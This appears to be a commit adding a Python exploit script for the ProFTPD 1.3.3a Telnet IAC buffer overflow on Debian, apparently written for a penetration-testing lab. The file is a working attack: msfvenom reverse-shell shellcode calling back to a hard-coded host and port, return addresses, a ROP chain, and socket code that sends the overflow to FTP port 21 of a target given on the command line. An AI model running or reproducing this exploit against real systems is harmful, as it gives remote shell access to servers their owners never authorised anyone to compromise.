new_contents: # Exploit for ProFTPD 1_3_3a Server (Debian)
  # Based on ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
  # Reference: https://www.exploit-db.com/exploits/16851/
  # By TIMLAB/ (timip.net)
  
  import sys, socket
   
  # Usage:python pproftpd_133_deb.py <Target IP Address>"
  
  # Please replace suitable shellcode!!!!!!
  # msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.134 LPORT=4445 -b '\x09\x0a\x0b\x0c\x0d\x20\xff' -f python
  buf =  ""
  buf += "\xd9\xe5\xd9\x74\x24\xf4\x5e\xb8\xef\x0e\xdd\xfb\x29"
  buf += "\xc9\xb1\x12\x31\x46\x17\x83\xc6\x04\x03\xa9\x1d\x3f"
  buf += "\x0e\x04\xf9\x48\x12\x35\xbe\xe5\xbf\xbb\xc9\xeb\xf0"
  buf += "\xdd\x04\x6b\x63\x78\x27\x53\x49\xfa\x0e\xd5\xa8\x92"
  buf += "\x9a\x2e\x4b\xe4\xf3\x32\x4b\xf9\x5e\xba\xaa\x49\x06"
  buf += "\xec\x7d\xfa\x74\x0f\xf7\x1d\xb7\x90\x55\xb5\x26\xbe"
  buf += "\x2a\x2d\xdf\xef\xe3\xcf\x76\x79\x18\x5d\xda\xf0\x3e"
  buf += "\xd1\xd7\xcf\x41"
  
  host = sys.argv[1]
  iac_count = 4096 + 16
  offset = 0x102c - 4
  ret = "\x47\xa5\x05\x08"
  writable = "\xa0\x81\x0e\x08"
  ropstack = "\x41" * 4 + "\x44\xa5\x05\x08" + "\x41" * 12 + "\x86\x88\x06\x08" * 4 + "\x8e\xbd\x05\x08" * 16 + "\x6c\xc2\x05\x08"
  
  exploit = ""
  exploit += "SITE "
  exploit += buf 
  if len(exploit) % 2 == 0:
  	exploit += "\x41"
  exploit += "\xff" * (iac_count - len(buf))
  exploit += "\x41" * (offset - len(exploit))
  exploit += ret
  exploit += writable
  exploit += ropstack
  exploit += "\x0d\x0a"
  
  client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  client.connect((host, 21))
  print client.recv(4096)
  client.sendall(exploit)
  client.close()
  
  print 'Done! Try harder!'
  
subject: Create proftpd_133_deb.py